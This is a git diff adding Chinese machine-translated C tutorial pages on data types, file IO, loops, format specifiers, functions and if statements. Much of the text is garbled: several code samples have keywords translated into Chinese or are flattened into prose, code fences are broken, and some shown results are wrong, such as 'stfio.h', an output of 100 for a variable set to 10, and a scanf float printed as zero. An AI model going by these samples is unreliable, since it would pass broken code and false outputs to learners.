+通常，您应该为您的任务选择最低要求。如果你知道你将从1到10整数计算，你不需要很长时间就不需要加倍。如果您知道永远不会有负值，请查看使用数据类型的`unsigned`变体。通过提供此功能而不是自动执行，C能够生成非常轻便和高效的代码。但是，作为程序员，您需要了解能力和限制，并相应地进行选择。
+
+我们可以使用sizeof（）运算符来检查变量的大小。有关各种数据类型的用法，请参阅以下C程序：
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int a = 1; 
+ 
+    char b ='G'; 
+ 
+    double c = 3.14; 
+ 
+    printf("Hello World!\n"); 
+ 
+    //printing the variables defined above along with their sizes 
+    printf("Hello! I am a character. My value is %c and " 
+           "my size is %lu byte.\n", b,sizeof(char)); 
+    //can use sizeof(b) above as well 
+ 
+    printf("Hello! I am an integer. My value is %d and " 
+           "my size is %lu  bytes.\n", a,sizeof(int)); 
+    //can use sizeof(a) above as well 
+ 
+    printf("Hello! I am a double floating point variable." 
+           " My value is %lf and my size is %lu bytes.\n",c,sizeof(double)); 
+    //can use sizeof(c) above as well 
+ 
+    printf("Bye! See you soon. :)\n"); 
+    return 0; 
+ } 
+```
+
+## 输出：
+
+你好，世界！  
+你好！我是一个角色。我的值是G，我的大小是1个字节。  
+你好！我是一个整数。我的值是1，我的大小是4个字节。  
+你好！我是一个双浮点变量。我的值是3.140000，我的大小是8个字节。  
+再见！再见。 :)
+
+## 虚空类型
+
+void类型指定没有可用的值。它用于三种情况：
+
+#### 1.函数返回void
+
+C中有各种函数不返回任何值，或者可以说它们返回void。没有返回值的函数的返回类型为void。例如， `void exit (int status);`
+
+#### 2.函数参数为void
+
+C中有各种不接受任何参数的功能。没有参数的函数可以接受void。例如， `int rand(void);`
+
+#### 3.指示无效
+
+void \*类型的指针表示对象的地址，但不表示其类型。例如，内存分配函数`void *malloc( size_t size);`返回一个指向void的指针，该指针可以转换为任何数据类型。
+
+# 在你继续之前......
+
+## 回顾
+
+*   C数据类型的实际能力取决于硬件。因此，为数据类型定义了最小大小。
+*   浮点数将允许您有小数，而整数不会。
+*   我们有一些整数值的选项：
+*   char，专为字符设计但存储数字
+*   int，这是标准的整数数据类型
+*   short，这是一种不太常用但仍然可用的整数数据类型
+*   long，它提供了大范围的整数值
+*   long long，它给出了一个过度的整数值范围，但有时仍然有用。
+*   我们还有一些浮点值的选项：
+*   float是基本浮点值，存储6位小数
+*   double占用内存的两倍，并给出15位小数
+*   long double占用更多内存并提供19位小数
+*   选择正确的数据类型非常重要，它使程序员能够以较低的级别对程序进行大量控制。
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/file-handling/index.md b/client/src/guide/chinese/c/file-handling/index.md
new file mode 100644
index 0000000000..99c7260617
--- /dev/null
+++ b/client/src/guide/chinese/c/file-handling/index.md
@@ -0,0 +1,207 @@
+---
+title: File Handling
+localeTitle: 文件处理
+---
+## 文件处理
+
+### 介绍
+
+如果您以前编写过C `helloworld`程序，那么您已经在C中完成了文件IO！恭喜！ ：田田：
+
+```c
+/* A simple hello world in C. */ 
+ #include <stdlib.h> 
+ 
+ // Import IO functions. 
+ #include <stdio.h> 
+ 
+ int main() { 
+    // This printf is where all the file IO magic happens! 
+    // How exciting! 
+    printf("Hello, world!\n"); 
+    return EXIT_SUCCESS; 
+ } 
+```
+
+文件处理是程序员最重要的部分。在C语言中，我们使用文件类型的结构指针来声明文件
+
+```c
+FILE *fp; 
+```
+
+C提供了许多内置函数来执行基本文件操作
+
+**fopen（）** **\-** **创建新文件或打开现有文件**
+
+**fclose（）** **\-** **关闭文件**
+
+**getc（）** **\-** **从文件中读取一个字符**
+
+**putc（）** **\-** **将一个字符写入文件**
+
+**fscanf（）** **\-** **从文件中读取一组数据**
+
+**fprintf（）** **\-** **将一组数据写入文件**
+
+**getw（）** **\-** **从文件中读取一个整数**
+
+**putw（）** **\-** **将一个整数写入文件**
+
+**fseek（）** **\-** **将位置设置为欲望点**
+
+**ftell（）** **\-** **给出文件中的当前位置**
+
+**rewind（）** **\-** **将位置设置为起始点**
+
+### 打开文件
+
+**fopen（）**函数用于创建文件或打开现有文件
+
+`c fp = fopen(const char filename,const char mode);`
+
+在C中，有许多打开文件的模式 **r** **\-** **以读取模式打开文件**
+
+**w** **\-** **以书写模式打开或创建文本文件**
+
+**a** **\-** **以追加模式打开文件**
+
+**r +** **\-** **以读写模式打开文件**
+
+**a +** **\-** **以读写模式打开文件**
+
+**w +** **\-** **以读写模式打开文件**
+
+这是一个读取和写入文件数据的示例
+
+\`\`\`C ＃包括
+
+# 包括
+
+主要（） { FILE \* fp; char ch; fp = fopen（“hello.txt”，“w”）; printf（“输入数据”）; while（（ch = getchar（））！= EOF）{ putc将（CH，FP）; } FCLOSE（FP）; fp = fopen（“hello.txt”，“r”）;
+
+while（（ch = getc（fp）！= EOF） 的printf（ “％C”，CH）;
+
+FCLOSE（FP）; }
+```
+Now you might be thinking, "this justs prints text to my screen.  How is this file IO?" 
+ The answer isn't obvious at first, and needs some understanding about the UNIX system. 
+ Under a UNIX system, everything is treated as a file, meaning you can read and write from it. 
+ This means that your printer can be abstracted as a file since all you do with a printer is write with it. 
+ It is also useful to think of these files as streams, since as you'll see later, you can redirect them with the shell. 
+ 
+ So how does this relate to `helloworld` and file IO? 
+ 
+ When you call `printf`, you are really just writing to a special file called `stdout`, short for __standard output__. 
+ `stdout` represents, well, the standard output as decided by your shell, which is usually the terminal. 
+ This explains why it printed to your screen. 
+ 
+ There are two other streams (ie files) that are available to you with effort, `stdin` and `stderr`. 
+ `stdin` represents the __standard input__, which your shell usually attaches to the keyboard. 
+ `stderr` represents the __standard error__ output, which your shell usually attaches to the terminal. 
+ 
+ ### Rudimentary File IO, or How I Learnt to Lay Pipes 
+ Enough theory, let's get down to business by writing some code! 
+ The easist way to write to a file is to redirect the output stream using the output redirect tool, `>`. 
+ If you want to append, you can use `>>`. _N.b. these redirection operators are in_ `bash` _and similar shells._ 
+```
+
+庆典
+
+# 这将输出到屏幕......
+
+。/你好，世界
+
+# ...但这会写入文件！
+
+./helloworld> hello.txt
+```
+The contents of `hello.txt` will, not surprisingly, be 
+```
+
+你好，世界！
+```
+Say we have another program called `greet`, similar to `helloworld`, that greets you given your name. 
+```
+
+C
+
+# 包括
+
+# 包括
+
+int main（）{ //初始化一个数组以保存名称。 char name \[20\]; //读取一个字符串并将其保存到名称。 scanf（“％s”，名称）; //打印问候语。 printf（“你好，％s！”，名字）; 返回EXIT\_SUCCESS; }
+```
+Instead of reading from the keyboard, we can redirect `stdin` to read from a file using the `<` tool. 
+```
+
+庆典
+
+# 写一个包含名字的文件。
+
+echo Kamala> name.txt
+
+# 这将从文件中读取名称并将问候语打印到屏幕上。
+
+./greet <name.txt
+
+# \==>你好，卡玛拉！
+
+# 如果您还想将问候语写入文件，可以使用“>”进行。
+```
+### The Real Deal 
+ The above methods only worked for the most basic of cases.  If you wanted to do bigger and better things, you will probably want to work with files from within C instead of through the shell. 
+ To accomplish this, you will use a function called `fopen`.  This function takes two string parameters, the first being the file name and the second being the mode. 
+ Mode is basically permissions, so `r` for read, `w` for write, `a` for append.  You can also combine them, so `rw` would mean you could read and write to the file.  There are more modes, but these are the most used. 
+ 
+ After you have a `FILE` pointer, you can use basically the same IO commands you would've used, except that you have to prefix them with `f` and the first argument will be the file pointer. 
+ For example, `printf`'s file version is `fprintf`. 
+ 
+ Here's a program called `greetings` that reads a from a file containing a list of names and writes to another file the greetings. 
+```
+
+C
+
+# 包括
+
+# 包括
+
+int main（）{ //创建文件指针 FILE \* names = fopen（“names.txt”，“r”）; FILE \* greet = fopen（“greet.txt”，“w”）;
+```
+// Check that everything is OK. 
+ if (!names || !greet) { 
+    fprintf(stderr, "File opening failed!\n"); 
+    return EXIT_FAILURE; 
+ } 
+ 
+ // Greetings time! 
+ char name[20]; 
+ // Basically keep on reading untill there's nothing left. 
+ while (fscanf(names, "%s\n", name) > 0) { 
+    fprintf(greet, "Hello, %s!\n", name); 
+ } 
+ 
+ // When reached the end, print a message to the terminal to inform the user. 
+ if (feof(names)) { 
+    printf("Greetings are done!\n"); 
+ } 
+ 
+ return EXIT_SUCCESS; 
+```
+
+}
+```
+Suppose `names.txt` contains the following: 
+```
+
+卡马拉 洛根 颂歌
+```
+Then after running `greetings` the file `greet.txt` will contain: 
+```
+
+你好，卡玛拉！ 你好，洛根！ 你好，卡罗尔！ \`\`\`
+
+超级棒，对吧！ ：微笑：
+
+### 更多信息：
+
+*   [Wikibooks文件IO页面](https://en.wikibooks.org/wiki/C_Programming/File_IO)
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/for/index.md b/client/src/guide/chinese/c/for/index.md
new file mode 100644
index 0000000000..45a92d287f
--- /dev/null
+++ b/client/src/guide/chinese/c/for/index.md
@@ -0,0 +1,46 @@
+---
+title: For Loop
+localeTitle: 对于循环
+---
+# 对于循环
+
+`for`循环执行代码块，直到指定的条件为false。当迭代次数可变时使用`while`循环，否则使用`for`循环。 `for`循环的常见用途是数组迭代。
+
+## For循环的语法
+
+```c
+for ( init; condition; increment ) { 
+   statement(s); 
+ } 
+```
+
+`for`循环由3个部分组成，初始化部分，特定条件和增量或减量操作部分。这3个部分控制`for`循环。
+
+初始化语句只执行一次。然后，评估测试表达式。如果测试表达式为假（0），则for循环终止。但是如果测试表达式为真（非零），则执行for循环体内的代码并更新更新表达式。重复此过程直到测试表达式为假。
+
+当迭代次数已知时，通常使用for循环。
+
+## 例
+
+```c
+#include <stdio.h> 
+ 
+ int main () { 
+ 
+    int array[] = {1, 2, 3, 4, 5}; 
+ 
+    for (int i = 0; i < 5; i++) { 
+        printf("Item on index %d is %d\n", i, array[i]); 
+    } 
+ } 
+```
+
+## 输出：
+
+```shell
+> Item on index 0 is 1 
+ > Item on index 1 is 2 
+ > Item on index 2 is 3 
+ > Item on index 3 is 4 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/format-specifiers/index.md b/client/src/guide/chinese/c/format-specifiers/index.md
new file mode 100644
index 0000000000..6d298b45ce
--- /dev/null
+++ b/client/src/guide/chinese/c/format-specifiers/index.md
@@ -0,0 +1,103 @@
+---
+title: Format Specifiers
+localeTitle: 格式说明符
+---
+# 格式说明符
+
+格式说明符定义要在标准输出上打印的数据类型。无论是打印格式化输出还是格式化输入，我们都需要格式说明符。格式说明符也称为格式字符串。在输入和输出期间使用格式说明符。这是一种在使用scanf（）或使用printf（）进行打印的过程中告诉编译器输入变量中的数据类型的方法。一些例子是％c，％d，％f等。
+
+字符格式说明符：％c
+
+# 包括
+
+int main（） { char ch ='A'; printf（“％c \\ n”，ch）; 返回0; }
+
+输出： 一个
+
+整数格式说明符：％d，％i
+
+# 包括
+
+int main（） { int x = 45，y = 90; printf（“％d \\ n”，x）; printf（“％i \\ n”，x）; 返回0; }
+
+输出： 45 45
+
+双格式说明符：％f，％e或％E
+
+# 包括
+
+int main（） { 浮动a = 12.67; printf（“％f \\ n”，a）; printf（“％e \\ n”，a）; 返回0; }
+
+输出： 12.670000 1.267000e + 01
+
+整数的无符号八进制数：％o
+
+# 包括
+
+int main（） { int a = 67; printf（“％o \\ n”，a）; 返回0; }
+
+输出： 103
+
+整数的无符号十六进制：％x，％X
+
+# 包括
+
+int main（） { int a = 15; printf（“％x \\ n”，a）; 返回0; }
+
+输出： F
+
+字符串打印：％s
+
+# 包括
+
+int main（） { char a \[\] =“nitesh”; printf（“％s \\ n”，a）; 返回0; }
+
+输出： nitesh
+
+* * *
+
+scanf（char \* format，arg1，arg2，...）
+
+十进制整数：％d
+
+# 包括
+
+int main（） { int a = 0; scanf（“％d”，＆a）; //输入是45 printf（“％d \\ n”，a）; 返回0; }
+
+输出： 45
+
+整数可以是八进制或十六进制：％i
+
+# 包括
+
+int main（） { int a = 0; scanf（“％i”，＆a）; //输入为017（十进制为15） printf（“％d \\ n”，a）; scanf（“％i”，＆a）; //输入为0xf（15的十六进制） printf（“％d \\ n”，a）; 返回0; }
+
+输出： 15 15
+
+浮动数据类型：％f，％e（双精度），％lf（长双精度）
+
+# 包括
+
+int main（） { float a = 0.0; scanf（“％f”，＆a）; //输入是45.65 printf（“％f \\ n”，a）; 返回0; }
+
+输出： 0.000000
+
+字符串输入：％s
+
+# 包括
+
+int main（） { char str \[20\]; scanf（“％s”，str）; //输入是nitesh printf（“％s \\ n”，str）; 返回0; }
+
+输出： nitesh
+
+字符输入：％c
+
+# 包括
+
+int main（） { char ch; scanf（“％c”，＆ch）; //输入是A. printf（“％c \\ n”，ch）; 返回0; }
+
+输出： 一个
+
+您可以在ANSI C中使用的％说明符是：
+
+|说明符|用于| |：-------------：|：-------------：| | ％c |单个字符| | ％s |一个字符串| |成喜|短（签字）| |胡锦涛％|短（无符号）| | ％的Lf |长双| | ％n |什么都不打印| | ％d |十进制整数| | ％o |八进制（基数为8）整数| | ％x |十六进制（基数为16）的整数| | ％p |地址（或指针）| | ％f |浮点数的浮点数 | ％u | int无符号小数| | ％e |科学记数法中的浮点数| | ％E |科学记数法中的浮点数| | %% | ％符号！ |
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/functions/index.md b/client/src/guide/chinese/c/functions/index.md
new file mode 100644
index 0000000000..bf4f39e914
--- /dev/null
+++ b/client/src/guide/chinese/c/functions/index.md
@@ -0,0 +1,129 @@
+---
+title: Functions
+localeTitle: 功能
+---
+# C中的功能
+
+有时您需要反复使用一段代码，但代码中的不同时间和地点。你可以一遍又一遍地复制和粘贴它，但这不是一个很好的解决方案 - 你的文件大小最终变得更大，你的代码更难调试，你的代码更难以阅读。相反，使用函数：函数就像代码中存在的迷你程序。您可以传递它们使用的变量，并且它们可以返回数据。
+
+## 一个例子
+
+这是一个分割两个数字的函数的简单示例。它不是很有用，因为我们有`/` ，但它显示了函数的不同部分。
+
+```C
+#include <stdio.h> 
+ 
+ int divides(int a, int b) { 
+    return a / b; 
+ } 
+ 
+ int main(void) { 
+    int first = 5; 
+    int second = 10; //MUST NOT BE ZERO; 
+ 
+    int result = divides(first, second); 
+ 
+    printf("first divided by second is %i\n", result); 
+ 
+    return 0; 
+ } 
+```
+
+请注意，像`main`一样， `divides`具有类似的格式。那是因为`main`也是一个函数 - 它只是特殊的，因为C首先寻找它。 `divides`也出现在`main`之前。这很重要，因为`main`呼叫是`divides` 。调用函数意味着正在使用其代码。代码必须在使用之前编译，并且C从顶部开始逐行编译，因此为了调用函数，必须在调用函数之前将其写出，就像在本例中一样。如果`divides`后，来到`main` ，它会失败，因为编译器不知道`divides`还不存在。您也可以在main之前使用函数原型，以便在main之后放置`divides` 。函数原型与具有相同变量和返回类型的函数相同，除了它们的大括号被省略并替换为分号，如下所示：
+
+```C
+int divides(int a, int b); 
+```
+
+另请注意， `divides`和`main`不是共享括号，并且不在彼此的括号中。即使一方呼叫另一方，它们也应该是分开的。
+
+考虑到这一点，让我们在下一节中的函数的第一行，标题为：
+
+## 打破功能声明
+
+```C
+int divides(int a, int b) 
+```
+
+函数声明以数据类型开头，在本例中为`int` 。无论您希望函数返回什么数据类型，都应放在此处。您可以返回任何数据类型，或者通过在此处放置`void` ，它可以不是数据类型。
+
+接下来是函数的名称。每当您想要调用该函数时，这就是您将使用的名称。尽量使其成为描述性的东西，这样您就可以轻松识别它的作用。
+
+名字后出现一对括号。在这些括号中输入我们的函数参数，这些函数将在代码运行时使用和使用。在这种情况下，有两个。它们都是`int`数据类型，它们将被命名为`a`和`b` 。理想情况下，这里会有更好的名称，但你会发现，对于简单快捷的方法，经常会使用临时变量名。
+
+现在让我们来看看括号内的内容：
+
+```C
+return a / b; 
+```
+
+这非常简单，因为这是一个非常简单的功能。 `a`除以`b` ，返回该值。你已经在`main`函数中看到过`return` ，但现在它不是结束我们的程序，而是结束方法并将值赋给任何调用它的值。
+
+所以要回顾一下这个函数的作用 - 它得到两个整数，将它们分开，并将它们返回给它所谓的任何东西。
+
+### 函数的参数
+
+参数用于将参数传递给函数。 它们有两种类型的参数： 在函数定义中写入的参数称为“形式参数”。 函数调用中写入的参数称为“实际参数”。它们也称为参数。它们被传递给函数定义，并以形式参数的形式创建副本。
+
+## 一个更复杂的例子
+
+那是一个单线功能。当有一个非常简单的操作需要反复执行，或者一个操作最终成为一条长线时，你会看到它们。通过使其成为一个函数，代码最终变得更易读和易于管理。
+
+话虽这么说，大多数功能都不是一行代码。让我们来看看另一个稍微复杂的例子，它选择两个数字中较大的一个。
+
+```C
+int choose_bigger_int(int a, int b) { 
+    if(a > b) 
+        return a; 
+ 
+    if(b > a) 
+        return b; 
+ 
+    return a; 
+ } 
+```
+
+就像之前一样，函数将返回一个整数并取两个整数。没有什么新东西可以看到。
+
+此代码以if语句开头，该语句检查`a`是否大于`b` 。如果它是，它将返回`a` 。如果这样做，函数在此结束 - 其余代码不会被评估。但是，如果未达到此返回语句，则将评估下一个if语句。如果为真，则返回`b`并且函数在此处结束。
+
+由此，已经考虑了大于b且b大于a的条件。但是，如果a等于b，则该函数仍然不会返回任何内容。出于这个原因，我们返回a（a等于b，所以我们也可以返回）。
+
+## 关于'范围'的一个词
+
+范围是一个需要注意的事项。它指的是代码中可以访问变量的区域。将变量传递给函数时，该函数将获得自己的副本以供使用。这意味着调整函数中的变量不会在其他任何位置调整它。同样，如果您尚未将变量传递给函数，则它没有它并且无法使用它。
+
+您可能已经观察到类似if语句和任何循环之类的问题。如果在括号内声明变量，则不能在这些括号之外访问它。这对于函数来说也是如此，但是有一些方法可以解决它：
+
+*   通过在任何函数之外声明它来创建一个全局变量
+*   这会使您的代码更加混乱，通常不建议使用。应尽可能避免
+*   使用指针，您将在下面阅读
+*   这可能会使您的代码更难以阅读和调试
+*   像你应该的那样进入你的职能部门
+*   如果这样做是一种选择，这是最好的方法
+
+理想情况下，您将始终作为参数传递给您的函数，但您可能并不总是能够。选择最佳解决方案是您作为程序员的工作。
+
+C中的递归 当函数在同一函数中被调用时，它被称为C中的递归。调用相同函数的函数称为递归函数。
+```
+int factorial (int n) 
+ { 
+    if ( n < 0) 
+        return -1; /*Wrong value*/ 
+    if (n == 0) 
+        return 1; /*Terminating condition*/ 
+    return (n * factorial (n -1)); 
+ } 
+```
+
+# 在你继续之前......
+
+## 回顾
+
+*   函数很好用，因为它们使代码更清晰，更容易调试。
+*   函数需要在被调用之前声明。
+*   函数需要返回一个数据类型 - 如果没有返回任何内容，请使用`void` 。
+*   函数接受参数使用 - 如果它们什么都不带，请使用`void` 。
+*   `return`结束函数并返回一个值。你可以在一个函数中使用多个函数，但只要你找到一个函数，函数就会在那里结束。
+*   将变量传递给函数时，它有自己的副本 - 更改函数中的某些内容不会在函数外部更改它。
+*   在函数内声明的变量仅在该函数内可见，除非它们被声明为静态。
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/hello-world/index.md b/client/src/guide/chinese/c/hello-world/index.md
new file mode 100644
index 0000000000..8b58487483
--- /dev/null
+++ b/client/src/guide/chinese/c/hello-world/index.md
@@ -0,0 +1,37 @@
+---
+title: Hello World C
+localeTitle: Hello World C
+---
+＃＃ 你好，世界
+
+要在控制台上编写，您可以使用库中`include <stdio.h>`的函数`printf()` `include <stdio.h>`
+
+\`\`\`C ＃包括
+
+int main（void） {
+```
+ printf("hello, world\n");  //lines starting with this are called comments.. 
+ 
+ return 0; 
+```
+
+} \`\`\` ##解释
+
+*   #include 是一个预处理器命令。该命令告诉编译器在程序中包含stdio.h（标准输入和输出）文件的内容。
+    
+*   stdio.h文件包含scanf（）和print（）等函数，分别用于输入和显示输出。
+    
+*   如果使用printf（）函数而不编写#include ，该程序将不会编译。
+    
+*   C程序的执行从main（）函数开始。
+    
+*   printf（）是一个库函数，用于将格式化输出发送到屏幕。在这个程序中，printf（）显示Hello，World！屏幕上的文字。
+    
+*   返回0; statement是程序的“退出状态”。简单来说，程序以此声明结束
+    
+    ## 输出：
+    
+    \`\`\`
+    
+
+> 你好，世界 \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/if-statements/index.md b/client/src/guide/chinese/c/if-statements/index.md
new file mode 100644
index 0000000000..2fb3e2052e
--- /dev/null
+++ b/client/src/guide/chinese/c/if-statements/index.md
@@ -0,0 +1,238 @@
+---
+title: Logical Operators and If Statements
+localeTitle: 逻辑运算符和If语句
+---
+# 如果是C语句
+
+更改基于环境中某些信息的代码行为的能力称为条件代码流。有时您希望代码根据特定条件运行。在这种情况下，我们可以使用If语句。它也被称为决策声明，因为它根据给定的表达式（或在给定的条件下）做出决定。如果表达式求值为true，那么将执行'if'语句中的代码块。如果表达式的计算结果为false，那么将执行'if'语句结束后（结束大括号之后）的第一组代码。表达式是一个表达式，它具有对布尔变量进行操作的关系和/或逻辑运算符。表达式的计算结果为true或false。
+
+## _if语句的_语法
+```
+if (testExpression) { 
+   // statements 
+ } 
+```
+
+## 一个简单的例子
+
+让我们看一下这个实例的一个例子：
+
+```C
+#include <stdio.h> 
+ #include <stdbool.h> 
+ 
+ int main(void) { 
+    if(true) { 
+        printf("Statement is True!\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+```
+output: 
+ Statement is True! 
+```
+
+就像helloworld.c一样，stdio.h已被包含在内。这个程序的新功能是stdbool.h，它是标准的布尔库 - 它包含的代码可以让我们访问'true'和'false'。
+
+上面例子中的新内容是'if'语句。如果括号内的语句为true，则将运行if语句括号内的代码。对于此示例，true为true，因此代码将运行`printf`函数。
+
+## 如果别的
+
+在'If-else'语句中，如果括号内的语句为true，则将执行'if'语句括号内的代码，如果括号内的语句为false，则括号内的代码为'否则'声明将被执行。
+
+当然，这个例子并不是很有用，因为真的总是如此。这是另一个更实用的：
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int n = 2; 
+ 
+    if(n == 3) { // comparing n with 3 
+        printf("Statement is True!\n"); 
+    } 
+    else { // if first condition is not true, then comes to this block of code. 
+        printf("Statement is False!\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+```
+output: 
+ Statement is False! 
+```
+
+这里有一些不同的重要事情。首先， `stdbool.h`尚未包含在内。这没关系，因为`true`和`false`都没有被使用。在C中，我们将语句视为true和false，即使操作中不涉及true或false。
+
+在if语句的括号内也是新的东西： `n == 3` 。这是`n`和数字3之间的比较。 `==`是比较运算符，是C中几个比较运算之一。
+
+## 嵌套if-else
+
+if-else语句允许在两个可能的替代方案之间进行选择。有时必须在两种以上的可能性之间做出选择。例如，如果参数小于零，则数学中的符号函数返回-1，如果参数大于零，则返回+1，如果参数为零，则返回零。以下C ++语句实现此功能：
+
+```C
+if (x < 0) 
+   sign = -1; 
+ else 
+   if (x == 0) 
+      sign = 0; 
+   else 
+      sign = 1; 
+```
+
+这是一个if-else语句，其中else后面的语句本身就是一个if-else语句。如果x小于零，则sign设置为-1，但如果不小于零，则执行else之后的语句。在这种情况下，如果x等于零，则将sign设置为零，否则将其设置为1。 新手程序员经常使用if语句序列而不是使用嵌套的if-else语句。那就是他们用逻辑等价的形式写上面的内容：
+
+```C
+if (x < 0) 
+   sign = -1; 
+ if (x == 0) 
+   sign = 0; 
+ if (x > 0) 
+   sign = 1; 
+```
+
+建议不要使用此版本，因为它不清楚只有一个赋值语句将针对给定的x值执行。此外，它是低效的，因为总是测试所有三个条件。
+
+## 比较运算符
+
+运营商名称|用法|运营商结果 ---------------------------- |：---------：| --------- -------- 等于| a == b |如果a等于b则为真，否则为假 不等于| a！= b |如果a不等于b则为真，否则为假 大于| a> b |如果a大于b则为真，否则为假 大于或等于| a> = b |如果a大于或等于b则为真，否则为假 小于| a <b |如果a小于b则为真，否则为假 小于或等于| a <= b |如果a小于或等于b则为真，否则为假
+
+那个例子也有一个新词： `else` 。在中的代码`else`块只运行，如果内部的代码`if`不运行。
+
+我们可以为所有这些运营商做很多事情！考虑以下内容，我们将使用if-else语句：
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int n = 5; 
+ 
+    if(n == 5) { 
+        printf("n is equal to 5!\n"); 
+    } 
+    else if (n > 5) { 
+        printf("n is greater than 5!\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+```
+output: 
+ n is equal to 5! 
+```
+
+if-else语句附加了'else if'。如果前一个if中的条件为false，则会运行此代码，但会在其自己的括号内添加一个条件，该条件在运行代码之前必须为true。
+
+## 逻辑运算符
+
+当然，如果不是真的，或者如果它和其他东西都是真的，我们可能会想要发生一些事情。为此，我们有逻辑运算符：！ for not，&& for and，and ||为或。让我们来看看这个行动：
+
+```C
+#include <stfio.h> 
+ 
+ int main(void) { 
+    int n = 5; 
+    int m = 10; 
+ 
+    if(n > m || n == 15) { 
+        printf("Either n is greater than m, or n is equal to 15\n"); 
+    } 
+    else if( n == 5 && m == 10 ) { 
+        printf("n is equal to 5 and m is equal to 10!\n"); 
+    } 
+    else if ( !(n == 6)) { 
+        printf("It is not true that n is equal to 6!\n"); 
+    } 
+    else if (n > 5) { 
+        printf("n is greater than 5!\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+```
+output: 
+ n is equal to 5 and m is equal to 10! 
+```
+
+这是第一组括号： `n > m || n == 5` 。如果n大于m，或者n等于5，则为真.n不大于m，但n等于5.因为其中一个是真的，并且它们由or连接，声明将为真，并且将打印其中的代码。
+
+因为之前的代码已经执行，所以它不会检查其他语句 - 如果之前的语句没有被检查，那么只会检查它们。但是，仅仅为了练习，请考虑其余代码将要检查的内容。如果n等于5且m等于`n == 5 && m == 10`则`n == 5 && m == 10`将为真。这是正确的，但如果n为6则不再为真，并且其他内的代码将不会运行。
+
+`!(n == 6)`使用括号使操作更加明显。就像在数学中一样，括号可用于操作顺序：括号内的事物将在不在括号内的事物之前执行。所以在这种情况下，将评估`n == 6` ，并且为false。的`!` ，'not'，将其从false转换为true，因此此操作返回true。然而，和之前一样，它不会仅仅因为之前的一个陈述是真的而已经运行了。
+
+最后， `n > 5`评估为真吗？答案是否定的，因为n _是_ 5，因此它不大于5.因此，此代码不会评估为true。为了使此求值为true，应使用`>=`运算符。
+
+## 关于C比较的细节
+
+之前你读到比较是在检查某些事情是真还是假，但那真的只有一半是真的。请记住，C关于轻巧且靠近硬件硬件，很容易检查是否为0，其他任何事情都需要更多工作。因此，比较实际上做的是检查某些内容是否为假，是否为0，或者检查它是否为false（任何其他值）。
+
+因此，此if语句为真且有效：
+
+```C
+if(12452) { 
+    printf("This is true!\n") 
+ } 
+```
+
+按照设计，0为假，按照惯例，1为真。实际上，这里是一个前面描述的`stdbool.h`库：
+
+```C
+#define false   0 
+ #define true    1 
+```
+
+实际上还有更多，但这是完成所有工作的部分。
+
+这两行代码告诉编译器，'false'一词应替换为'0'，而'true'一词应替换为'1'。 `stdbool.h`也有一些文档和编译器指令，将在后面讨论，但这两行都是真的。
+
+# 技巧和窍门
+
+考虑以下代码：
+
+```C
+#include <stdio.h> 
+ 
+ int main() { 
+    int i=3; 
+ 
+    if(i=4) { 
+      printf("This block is executed"); 
+    } 
+    else { 
+      printf("NO! I am boss"); 
+    } 
+ } 
+```
+
+什么是输出？ “不！我是老板”？如果你猜测这个输出那么你错了。 为什么会这样？因为在if语句中你使用“=”而不是“==”运算符。 “==”是比较器。
+
+它将在两个变量之间进行比较，但“=”是赋值运算符 当我们说i = 4时，我们只是将值4赋给整数i，并且因为在“C”中每个NON-ZERO值都为真，所以 如果（i = 4）是真实的陈述，则执行此下的指令
+
+# 在你继续之前......
+
+## 回顾
+
+*   'if'语句检查表达式是否为true，然后它在大括号内运行代码。
+*   'else'可以添加到'if'的末尾，并且只有在前一个if（s）语句为false时才会运行。
+*   'else if'也可以添加到'if'的末尾，并且只有在前一个if（s）语句为false时才会运行。
+*   计算机中的所有内容都由数字表示，因此C中的每个比较都可以通过处理数字 - 甚至是真，假和字符等值来完成。
+*   有一堆比较运算符：
+*   \==等于
+*   ！=不等于
+*   \>大于
+*   <小于
+*   \> =小于或等于
+*   <=小于或等于
+*   我们还有一些逻辑运算符，它们允许我们将逻辑运算链接在一起：
+*   ！被称为NOT运算符 - 它反转操作数的状态
+*   &&称为AND运算符 - 当两个条件都为真时返回true
+*   ||被称为OR运算符 - 当至少一个条件为真时返回true
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/if/index.md b/client/src/guide/chinese/c/if/index.md
new file mode 100644
index 0000000000..784c62521b
--- /dev/null
+++ b/client/src/guide/chinese/c/if/index.md
@@ -0,0 +1,62 @@
+---
+title: If
+localeTitle: 如果
+---
+# 如果
+
+if语句根据条件执行不同的代码块。
+```
+if (condition) { 
+    // Do something when `condition` is true 
+ } 
+ else { 
+    // Do something when `condition` is false 
+ } 
+```
+
+当`condition`为真，代码里面`if`部分执行，否则`else`执行。有时您需要添加第二个条件。为了便于阅读，您应该使用`else if`而不是嵌套`if`语句。
+```
+if (condition) { 
+    // Do something if `condition` is true 
+ } 
+ else if (anotherCondition) { 
+    // Do something if `anotherCondition` is ture 
+ } 
+ else { 
+    // Do something if `condition` AND `anotherCondition` is false 
+ } 
+```
+
+请注意， `else`和`else if`部分不是必需的，而`if`是必需的。
+
+## 例
+```
+#include <stdio.h> 
+ 
+ int main () { 
+ 
+   // Local variable definition 
+   int a = 10; 
+ 
+   // Check the boolean condition 
+   if(a < 5) { 
+      // If condition is true then print the following 
+      printf("a is less than 5!\n" ); 
+   } 
+   else { 
+      // If condition is false then print the following 
+      printf("a is not less than 5!\n" ); 
+   } 
+ 
+   printf("Value of a is : %d\n", a); 
+ 
+   return 0; 
+ } 
+```
+
+## 产量
+```
+-> a is not less than 5! 
+ -> Value of a is : 100 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/index.md b/client/src/guide/chinese/c/index.md
new file mode 100644
index 0000000000..cce52fc7c6
--- /dev/null
+++ b/client/src/guide/chinese/c/index.md
@@ -0,0 +1,135 @@
+---
+title: C
